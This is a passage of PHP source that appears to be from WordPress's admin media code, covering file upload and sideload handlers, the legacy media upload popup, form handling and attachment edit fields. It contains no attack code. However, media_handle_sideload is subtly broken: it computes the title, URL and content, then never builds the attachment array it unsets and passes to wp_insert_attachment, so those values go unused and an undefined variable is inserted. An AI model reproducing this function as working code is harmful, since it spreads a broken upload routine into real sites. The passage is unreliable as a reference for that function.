	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}

/**
 * Adds image HTML to editor.
 *
 * @since 2.5.0
 *
 * @param string $html
 */
function media_send_to_editor( $html ) {
	?>
	<script type="text/javascript">
	var win = window.dialogArguments || opener || parent || top;
	win.send_to_editor( <?php echo wp_json_encode( $html ); ?> );
	</script>
	<?php
	exit;
}

/**
 * Saves a file submitted from a POST request and create an attachment post for it.
 *
 * @since 2.5.0
 *
 * @param string $file_id   Index of the `$_FILES` array that the file was sent. Required.
 * @param int    $post_id   The post ID of a post to attach the media item to. Required, but can
 *                          be set to 0, creating a media item that has no relationship to a post.
 * @param array  $post_data Optional. Overwrite some of the attachment.
 * @param array  $overrides Optional. Override the wp_handle_upload() behavior.
 * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
 */
function media_handle_upload( $file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false ) ) {
	$time = current_time( 'mysql' );
	$post = get_post( $post_id );

if ( $post ) {
		// The post date doesn't usually matter for pages, so don't backdate this upload.
		if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		}
	}

$file = wp_handle_upload( $_FILES[ $file_id ], $overrides, $time );

if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

$name = $_FILES[ $file_id ]['name'];
	$ext  = pathinfo( $name, PATHINFO_EXTENSION );
	$name = wp_basename( $name, ".$ext" );

$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = sanitize_text_field( $name );
	$content = '';
	$excerpt = '';

if ( preg_match( '#^audio#', $type ) ) {
		$meta = wp_read_audio_metadata( $file );

if ( ! empty( $meta['title'] ) ) {
			$title = $meta['title'];
		}

if ( ! empty( $title ) ) {

if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Album title, 3: Artist name. */
				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
			} elseif ( ! empty( $meta['album'] ) ) {
				/* translators: 1: Audio track title, 2: Album title. */
				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
			} elseif ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Artist name. */
				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
			} else {
				/* translators: %s: Audio track title. */
				$content .= sprintf( __( '"%s".' ), $title );
			}
		} elseif ( ! empty( $meta['album'] ) ) {

if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio album title, 2: Artist name. */
				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
			} else {
				$content .= $meta['album'] . '.';
			}
		} elseif ( ! empty( $meta['artist'] ) ) {

$content .= $meta['artist'] . '.';

}

if ( ! empty( $meta['year'] ) ) {
			/* translators: Audio file track information. %d: Year of audio track release. */
			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
		}

if ( ! empty( $meta['track_number'] ) ) {
			$track_number = explode( '/', $meta['track_number'] );

if ( isset( $track_number[1] ) ) {
				/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks. */
				$content .= ' ' . sprintf( __( 'Track %1$s of %2$s.' ), number_format_i18n( $track_number[0] ), number_format_i18n( $track_number[1] ) );
			} else {
				/* translators: Audio file track information. %s: Audio track number. */
				$content .= ' ' . sprintf( __( 'Track %s.' ), number_format_i18n( $track_number[0] ) );
			}
		}

if ( ! empty( $meta['genre'] ) ) {
			/* translators: Audio file genre information. %s: Audio genre name. */
			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
		}

// Use image exif/iptc data for title and caption defaults if possible.
	} elseif ( 0 === strpos( $type, 'image/' ) ) {
		$image_meta = wp_read_image_metadata( $file );

if ( $image_meta ) {
			if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$title = $image_meta['title'];
			}

if ( trim( $image_meta['caption'] ) ) {
				$excerpt = $image_meta['caption'];
			}
		}
	}

// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
			'post_excerpt'   => $excerpt,
		),
		$post_data
	);

// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

// Save the data.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

if ( ! is_wp_error( $attachment_id ) ) {
		// Set a custom header with the attachment_id.
		// Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
		if ( ! headers_sent() ) {
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

// The image sub-sizes are created during wp_generate_attachment_metadata().
		// This is generally slow and may cause timeouts or out of memory errors.
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

return $attachment_id;
}

/**
 * Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
 *
 * @since 2.6.0
 * @since 5.3.0 The `$post_id` parameter was made optional.
 *
 * @param array  $file_array Array similar to a `$_FILES` upload array.
 * @param int    $post_id    Optional. The post ID the media is associated with.
 * @param string $desc       Optional. Description of the side-loaded file. Default null.
 * @param array  $post_data  Optional. Post data to override. Default empty array.
 * @return int|WP_Error The ID of the attachment or a WP_Error on failure.
 */
function media_handle_sideload( $file_array, $post_id = 0, $desc = null, $post_data = array() ) {
	$overrides = array( 'test_form' => false );

$time = current_time( 'mysql' );
	$post = get_post( $post_id );

if ( $post ) {
		if ( substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		}
	}

$file = wp_handle_sideload( $file_array, $overrides, $time );

if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
	$content = '';

// Use image exif/iptc data for title and caption defaults if possible.
	$image_meta = wp_read_image_metadata( $file );

if ( $image_meta ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
			$title = $image_meta['title'];
		}

if ( trim( $image_meta['caption'] ) ) {
			$content = $image_meta['caption'];
		}
	}

if ( isset( $desc ) ) {
		$title = $desc;
	}

// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

// Save the attachment metadata.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

if ( ! is_wp_error( $attachment_id ) ) {
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

return $attachment_id;
}

/**
 * Outputs the iframe to display the media upload page.
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global int $body_id
 *
 * @param callable $content_func Function that outputs the content.
 * @param mixed    ...$args      Optional additional parameters to pass to the callback function when it's called.
 */
function wp_iframe( $content_func, ...$args ) {
	_wp_admin_html_begin();
	?>
	<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php _e( 'Uploads' ); ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php

wp_enqueue_style( 'colors' );
	// Check callback name for 'media'.
	if (
		( is_array( $content_func ) && ! empty( $content_func[1] ) && 0 === strpos( (string) $content_func[1], 'media' ) ) ||
		( ! is_array( $content_func ) && 0 === strpos( $content_func, 'media' ) )
	) {
		wp_enqueue_style( 'deprecated-media' );
	}

?>
	<script type="text/javascript">
	addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
	var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
	isRtl = <?php echo (int) is_rtl(); ?>;
	</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );

/**
	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_styles-media-upload-popup' );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

/**
	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_scripts-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

/**
	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
	 * media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_head-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

if ( is_string( $content_func ) ) {
		/**
		 * Fires in the admin header for each specific form tab in the legacy
		 * (pre-3.5.0) media upload popup.
		 *
		 * The dynamic portion of the hook, `$content_func`, refers to the form
		 * callback for the media upload type. Possible values include
		 * 'media_upload_type_form', 'media_upload_type_url_form', and
		 * 'media_upload_library_form'.
		 *
		 * @since 2.5.0
		 */
		do_action( "admin_head_{$content_func}" );
	}

$body_id_attr = '';

if ( isset( $GLOBALS['body_id'] ) ) {
		$body_id_attr = ' id="' . $GLOBALS['body_id'] . '"';
	}

?>
	</head>
	<body<?php echo $body_id_attr; ?> class="wp-core-ui no-js">
	<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js', 'js');
	</script>
	<?php

call_user_func_array( $content_func, $args );

/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );

?>
	<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
	</body>
	</html>
	<?php
}

/**
 * Adds the media button to the editor
 *
 * @since 2.5.0
 *
 * @global int $post_ID
 *
 * @param string $editor_id
 */
function media_buttons( $editor_id = 'content' ) {
	static $instance = 0;
	$instance++;

$post = get_post();

if ( ! $post && ! empty( $GLOBALS['post_ID'] ) ) {
		$post = $GLOBALS['post_ID'];
	}

wp_enqueue_media( array( 'post' => $post ) );

$img = '<span class="wp-media-buttons-icon"></span> ';

$id_attribute = 1 === $instance ? ' id="insert-media-button"' : '';

printf(
		'<button type="button"%s class="button insert-media add_media" data-editor="%s">%s</button>',
		$id_attribute,
		esc_attr( $editor_id ),
		$img . __( 'Add Media' )
	);

/**
	 * Filters the legacy (pre-3.5.0) media buttons.
	 *
	 * Use {@see 'media_buttons'} action instead.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
	 *
	 * @param string $string Media buttons context. Default empty.
	 */
	$legacy_filter = apply_filters_deprecated( 'media_buttons_context', array( '' ), '3.5.0', 'media_buttons' );

if ( $legacy_filter ) {
		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) ) {
			$legacy_filter .= '</a>';
		}
		echo $legacy_filter;
	}
}

/**
 * @global int $post_ID
 * @param string $type
 * @param int    $post_id
 * @param string $tab
 * @return string
 */
function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
	global $post_ID;

if ( empty( $post_id ) ) {
		$post_id = $post_ID;
	}

$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url( 'media-upload.php' ) );

if ( $type && 'media' !== $type ) {
		$upload_iframe_src = add_query_arg( 'type', $type, $upload_iframe_src );
	}

if ( ! empty( $tab ) ) {
		$upload_iframe_src = add_query_arg( 'tab', $tab, $upload_iframe_src );
	}

/**
	 * Filters the upload iframe source URL for a specific media type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the type
	 * of media uploaded.
	 *
	 * @since 3.0.0
	 *
	 * @param string $upload_iframe_src The upload iframe source URL by type.
	 */
	$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );

return add_query_arg( 'TB_iframe', true, $upload_iframe_src );
}

/**
 * Handles form submissions for the legacy media uploader.
 *
 * @since 2.5.0
 *
 * @return mixed void|object WP_Error on failure
 */
function media_upload_form_handler() {
	check_admin_referer( 'media-form' );

$errors = null;

if ( isset( $_POST['send'] ) ) {
		$keys    = array_keys( $_POST['send'] );
		$send_id = (int) reset( $keys );
	}

if ( ! empty( $_POST['attachments'] ) ) {
		foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
			$post  = get_post( $attachment_id, ARRAY_A );
			$_post = $post;

if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
				continue;
			}

if ( isset( $attachment['post_content'] ) ) {
				$post['post_content'] = $attachment['post_content'];
			}

if ( isset( $attachment['post_title'] ) ) {
				$post['post_title'] = $attachment['post_title'];
			}

if ( isset( $attachment['post_excerpt'] ) ) {
				$post['post_excerpt'] = $attachment['post_excerpt'];
			}

if ( isset( $attachment['menu_order'] ) ) {
				$post['menu_order'] = $attachment['menu_order'];
			}

if ( isset( $send_id ) && $attachment_id == $send_id ) {
				if ( isset( $attachment['post_parent'] ) ) {
					$post['post_parent'] = $attachment['post_parent'];
				}
			}

/**
			 * Filters the attachment fields to be saved.
			 *
			 * @since 2.5.0
			 *
			 * @see wp_get_attachment_metadata()
			 *
			 * @param array $post       An array of post data.
			 * @param array $attachment An array of attachment metadata.
			 */
			$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );

if ( isset( $attachment['image_alt'] ) ) {
				$image_alt = wp_unslash( $attachment['image_alt'] );

if ( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
					$image_alt = wp_strip_all_tags( $image_alt, true );

// update_post_meta() expects slashed.
					update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
				}
			}

if ( isset( $post['errors'] ) ) {
				$errors[ $attachment_id ] = $post['errors'];
				unset( $post['errors'] );
			}

if ( $post != $_post ) {
				wp_update_post( $post );
			}

foreach ( get_attachment_taxonomies( $post ) as $t ) {
				if ( isset( $attachment[ $t ] ) ) {
					wp_set_object_terms( $attachment_id, array_map( 'trim', preg_split( '/,+/', $attachment[ $t ] ) ), $t, false );
				}
			}
		}
	}

if ( isset( $_POST['insert-gallery'] ) || isset( $_POST['update-gallery'] ) ) {
		?>
		<script type="text/javascript">
		var win = window.dialogArguments || opener || parent || top;
		win.tb_remove();
		</script>
		<?php

exit;
	}

if ( isset( $send_id ) ) {
		$attachment = wp_unslash( $_POST['attachments'][ $send_id ] );
		$html       = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';

if ( ! empty( $attachment['url'] ) ) {
			$rel = '';

if ( strpos( $attachment['url'], 'attachment_id' ) || get_attachment_link( $send_id ) == $attachment['url'] ) {
				$rel = " rel='attachment wp-att-" . esc_attr( $send_id ) . "'";
			}

$html = "<a href='{$attachment['url']}'$rel>$html</a>";
		}

/**
		 * Filters the HTML markup for a media item sent to the editor.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param string $html       HTML markup for a media item sent to the editor.
		 * @param int    $send_id    The first key from the $_POST['send'] data.
		 * @param array  $attachment Array of attachment metadata.
		 */
		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );

return media_send_to_editor( $html );
	}

return $errors;
}

/**
 * Handles the process of uploading media.
 *
 * @since 2.5.0
 *
 * @return null|string
 */
function wp_media_upload_handler() {
	$errors = array();
	$id     = 0;

if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$id = media_handle_upload( 'async-upload', $_REQUEST['post_id'] );
		unset( $_FILES );

if ( is_wp_error( $id ) ) {
			$errors['upload_error'] = $id;
			$id                     = false;
		}
	}

if ( ! empty( $_POST['insertonlybutton'] ) ) {
		$src = $_POST['src'];

if ( ! empty( $src ) && ! strpos( $src, '://' ) ) {
			$src = "http://$src";
		}

if ( isset( $_POST['media_type'] ) && 'image' !== $_POST['media_type'] ) {
			$title = esc_html( wp_unslash( $_POST['title'] ) );
			if ( empty( $title ) ) {
				$title = esc_html( wp_basename( $src ) );
			}

if ( $title && $src ) {
				$html = "<a href='" . esc_url( $src ) . "'>$title</a>";
			}

$type = 'file';
			$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );

if ( $ext ) {
				$ext_type = wp_ext2type( $ext );
				if ( 'audio' === $ext_type || 'video' === $ext_type ) {
					$type = $ext_type;
				}
			}

/**
			 * Filters the URL sent to the editor for a specific media type.
			 *
			 * The dynamic portion of the hook name, `$type`, refers to the type
			 * of media being sent.
			 *
			 * @since 3.3.0
			 *
			 * @param string $html  HTML markup sent to the editor.
			 * @param string $src   Media source URL.
			 * @param string $title Media title.
			 */
			$html = apply_filters( "{$type}_send_to_editor_url", $html, esc_url_raw( $src ), $title );
		} else {
			$align = '';
			$alt   = esc_attr( wp_unslash( $_POST['alt'] ) );

if ( isset( $_POST['align'] ) ) {
				$align = esc_attr( wp_unslash( $_POST['align'] ) );
				$class = " class='align$align'";
			}

if ( ! empty( $src ) ) {
				$html = "<img src='" . esc_url( $src ) . "' alt='$alt'$class />";
			}

/**
			 * Filters the image URL sent to the editor.
			 *
			 * @since 2.8.0
			 *
			 * @param string $html  HTML markup sent to the editor for an image.
			 * @param string $src   Image source URL.
			 * @param string $alt   Image alternate, or alt, text.
			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
			 */
			$html = apply_filters( 'image_send_to_editor_url', $html, esc_url_raw( $src ), $alt, $align );
		}

return media_send_to_editor( $html );
	}

if ( isset( $_POST['save'] ) ) {
		$errors['upload_notice'] = __( 'Saved.' );
		wp_enqueue_script( 'admin-gallery' );

return wp_iframe( 'media_upload_gallery_form', $errors );

} elseif ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

if ( is_string( $return ) ) {
			return $return;
		}

if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

if ( isset( $_GET['tab'] ) && 'type_url' === $_GET['tab'] ) {
		$type = 'image';

if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ), true ) ) {
			$type = $_GET['type'];
		}

return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
	}

return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}

/**
 * Downloads an image from the specified URL and attaches it to a post.
 *
 * @since 2.6.0
 * @since 4.2.0 Introduced the `$return` parameter.
 * @since 4.8.0 Introduced the 'id' option within the `$return` parameter.
 * @since 5.3.0 The `$post_id` parameter was made optional.
 * @since 5.4.0 The original URL of the attachment is stored in the `_source_url`
 *              post meta value.
 *
 * @param string $file    The URL of the image to download.
 * @param int    $post_id Optional. The post ID the media is to be associated with.
 * @param string $desc    Optional. Description of the image.
 * @param string $return  Optional. Accepts 'html' (image tag html) or 'src' (URL),
 *                        or 'id' (attachment ID). Default 'html'.
 * @return string|WP_Error Populated HTML img tag on success, WP_Error object otherwise.
 */
function media_sideload_image( $file, $post_id = 0, $desc = null, $return = 'html' ) {
	if ( ! empty( $file ) ) {

// Set variables for storage, fix file filename for query strings.
		preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );

if ( ! $matches ) {
			return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) );
		}

$file_array         = array();
		$file_array['name'] = wp_basename( $matches[0] );

// Download file to temp location.
		$file_array['tmp_name'] = download_url( $file );

// If error storing temporarily, return the error.
		if ( is_wp_error( $file_array['tmp_name'] ) ) {
			return $file_array['tmp_name'];
		}

// Do the validation and storage stuff.
		$id = media_handle_sideload( $file_array, $post_id, $desc );

// If error storing permanently, unlink.
		if ( is_wp_error( $id ) ) {
			@unlink( $file_array['tmp_name'] );
			return $id;
		}

// Store the original attachment source in meta.
		add_post_meta( $id, '_source_url', $file );

// If attachment ID was requested, return it.
		if ( 'id' === $return ) {
			return $id;
		}

$src = wp_get_attachment_url( $id );
	}

// Finally, check to make sure the file has been saved, then return the HTML.
	if ( ! empty( $src ) ) {
		if ( 'src' === $return ) {
			return $src;
		}

$alt  = isset( $desc ) ? esc_attr( $desc ) : '';
		$html = "<img src='$src' alt='$alt' />";

return $html;
	} else {
		return new WP_Error( 'image_sideload_failed' );
	}
}

/**
 * Retrieves the legacy media uploader form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_gallery() {
	$errors = array();

if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

if ( is_string( $return ) ) {
			return $return;
		}

if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

wp_enqueue_script( 'admin-gallery' );
	return wp_iframe( 'media_upload_gallery_form', $errors );
}

/**
 * Retrieves the legacy media library form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_library() {
	$errors = array();

if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

if ( is_string( $return ) ) {
			return $return;
		}
		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

return wp_iframe( 'media_upload_library_form', $errors );
}

/**
 * Retrieve HTML for the image alignment radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $checked
 * @return string
 */
function image_align_input_fields( $post, $checked = '' ) {

if ( empty( $checked ) ) {
		$checked = get_user_setting( 'align', 'none' );
	}

$alignments = array(
		'none'   => __( 'None' ),
		'left'   => __( 'Left' ),
		'center' => __( 'Center' ),
		'right'  => __( 'Right' ),
	);

if ( ! array_key_exists( (string) $checked, $alignments ) ) {
		$checked = 'none';
	}

$out = array();

foreach ( $alignments as $name => $label ) {
		$name  = esc_attr( $name );
		$out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'" .
			( $checked == $name ? " checked='checked'" : '' ) .
			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
	}

return join( "\n", $out );
}

/**
 * Retrieve HTML for the size radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post     $post
 * @param bool|string $check
 * @return array
 */
function image_size_input_fields( $post, $check = '' ) {
	/**
	 * Filters the names and labels of the default image sizes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $size_names Array of image size labels keyed by their name. Default values
	 *                             include 'Thumbnail', 'Medium', 'Large', and 'Full Size'.
	 */
	$size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

if ( empty( $check ) ) {
		$check = get_user_setting( 'imgsize', 'medium' );
	}

$out = array();

foreach ( $size_names as $size => $label ) {
		$downsize = image_downsize( $post->ID, $size );
		$checked  = '';

// Is this size selectable?
		$enabled = ( $downsize[3] || 'full' === $size );
		$css_id  = "image-size-{$size}-{$post->ID}";

// If this size is the default but that's not available, don't select it.
		if ( $size == $check ) {
			if ( $enabled ) {
				$checked = " checked='checked'";
			} else {
				$check = '';
			}
		} elseif ( ! $check && $enabled && 'thumbnail' !== $size ) {
			/*
			 * If $check is not enabled, default to the first available size
			 * that's bigger than a thumbnail.
			 */
			$check   = $size;
			$checked = " checked='checked'";
		}

$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

$html .= "<label for='{$css_id}'>$label</label>";

// Only show the dimensions if that choice is available.
		if ( $enabled ) {
			$html .= " <label for='{$css_id}' class='help'>" . sprintf( '(%d&nbsp;&times;&nbsp;%d)', $downsize[1], $downsize[2] ) . '</label>';
		}
		$html .= '</div>';

$out[] = $html;
	}

return array(
		'label' => __( 'Size' ),
		'input' => 'html',
		'html'  => join( "\n", $out ),
	);
}

/**
 * Retrieve HTML for the Link URL buttons with the default link type as specified.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $url_type
 * @return string
 */
function image_link_input_fields( $post, $url_type = '' ) {

$file = wp_get_attachment_url( $post->ID );
	$link = get_attachment_link( $post->ID );

if ( empty( $url_type ) ) {
		$url_type = get_user_setting( 'urlbutton', 'post' );
	}

$url = '';

if ( 'file' === $url_type ) {
		$url = $file;
	} elseif ( 'post' === $url_type ) {
		$url = $link;
	}

return "
	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr( $url ) . "' /><br />
	<button type='button' class='button urlnone' data-link-url=''>" . __( 'None' ) . "</button>
	<button type='button' class='button urlfile' data-link-url='" . esc_attr( $file ) . "'>" . __( 'File URL' ) . "</button>
	<button type='button' class='button urlpost' data-link-url='" . esc_attr( $link ) . "'>" . __( 'Attachment Post URL' ) . '</button>
';
}

/**
 * Output a textarea element for inputting an attachment caption.
 *
 * @since 3.4.0
 *
 * @param WP_Post $edit_post Attachment WP_Post object.
 * @return string HTML markup for the textarea element.
 */
function wp_caption_input_textarea( $edit_post ) {
	// Post data is already escaped.
	$name = "attachments[{$edit_post->ID}][post_excerpt]";

return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
}

/**
 * Retrieves the image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array  $form_fields
 * @param object $post
 * @return array
 */
function image_attachment_fields_to_edit( $form_fields, $post ) {
	return $form_fields;
}

/**
 * Retrieves the single non-image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['url'], $form_fields['align'], $form_fields['image-size'] );
	return $form_fields;
}

/**
 * Retrieves the post non-image attachment fields to edit form fields.
 *
 * @since 2.8.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['image_url'] );
	return $form_fields;
}

/**
 * Filters input from media_upload_form_handler() and assigns a default
 * post_title from the file name if none supplied.
 *
 * Illustrates the use of the {@see 'attachment_fields_to_save'} filter
 * which can be used to add default values to any field before saving to DB.
 *
 * @since 2.5.0
 *
 * @param array $post       The WP_Post attachment object converted to an array.
 * @param array $attachment An array of attachment metadata.
 * @return array Filtered attachment post object.
 */
function image_attachment_fields_to_save( $post, $attachment ) {
	if ( 'image' === substr( $post['post_mime_type'], 0, 5 ) ) {
		if ( strlen( trim( $post['post_title'] ) ) == 0 ) {
			$attachment_url                           = ( isset( $post['attachment_url'] ) ) ? $post['attachment_url'] : $post['guid'];
			$post['post_title']                       = preg_replace( '/\.\w+$/', '', wp_basename( $attachment_url ) );
			$post['errors']['post_title']['errors'][] = __( 'Empty Title filled from filename.' );
		}
	}

return $post;
}

/**
 * Retrieves the media element HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param string  $html
 * @param integer $attachment_id
 * @param array   $attachment
 * @return string
 */
function image_media_send_to_editor( $html, $attachment_id, $attachment ) {
	$post = get_post( $attachment_id );

if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
		$url   = $attachment['url'];
		$align = ! empty( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = ! empty( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = ! empty( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
		$rel   = ( strpos( $url, 'attachment_id' ) || get_attachment_link( $attachment_id ) === $url );

return get_image_send_to_editor( $attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt );
	}

return $html;
}

/**
 * Retrieves the attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param WP_Post $post
 * @param array   $errors
 * @return array
 */
function get_attachment_fields_to_edit( $post, $errors = null ) {
	if ( is_int( $post ) ) {
		$post = get_post( $post );
	}

if ( is_array( $post ) ) {
		$post = new WP_Post( (object) $post );
	}

$image_url = wp_get_attachment_url( $post->ID );

$edit_post = sanitize_post( $post, 'edit' );

$form_fields = array(
		'post_title'   => array(
			'label' => __( 'Title' ),
			'value' => $edit_post->post_title,
		),
		'image_alt'    => array(),
		'post_excerpt' => array(
			'label' => __( 'Caption' ),
			'input' => 'html',
			'html'  => wp_caption_input_textarea( $edit_post ),
		),
		'post_content' => array(
			'label' => __( 'Description' ),
			'value' => $edit_post->post_content,
			'input' => 'textarea',
		),
		'url'          => array(
			'label' => __( 'Link URL' ),
			'input' => 'html',
			'html'  => image_link_input_fields( $post, get_option( 'image_default_link_type' ) ),
			'helps' => __( 'Enter a link URL or click above for presets.' ),
		),
		'menu_order'   => array(
			'label' => __( 'Order' ),
			'value' => $edit_post->menu_order,
		),
		'image_url'    => array(
			'label' => __( 'File URL' ),
			'input' => 'html',
			'html'  => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr( $image_url ) . "' /><br />",
			'value' => wp_get_attachment_url( $post->ID ),
			'helps' => __( 'Location of the uploaded file.' ),
		),
	);

foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		$t = (array) get_taxonomy( $taxonomy );

if ( ! $t['public'] || ! $t['show_ui'] ) {
			continue;
		}

if ( empty( $t['label'] ) ) {
			$t['label'] = $taxonomy;
		}

if ( empty( $t['args'] ) ) {
			$t['args'] = array();
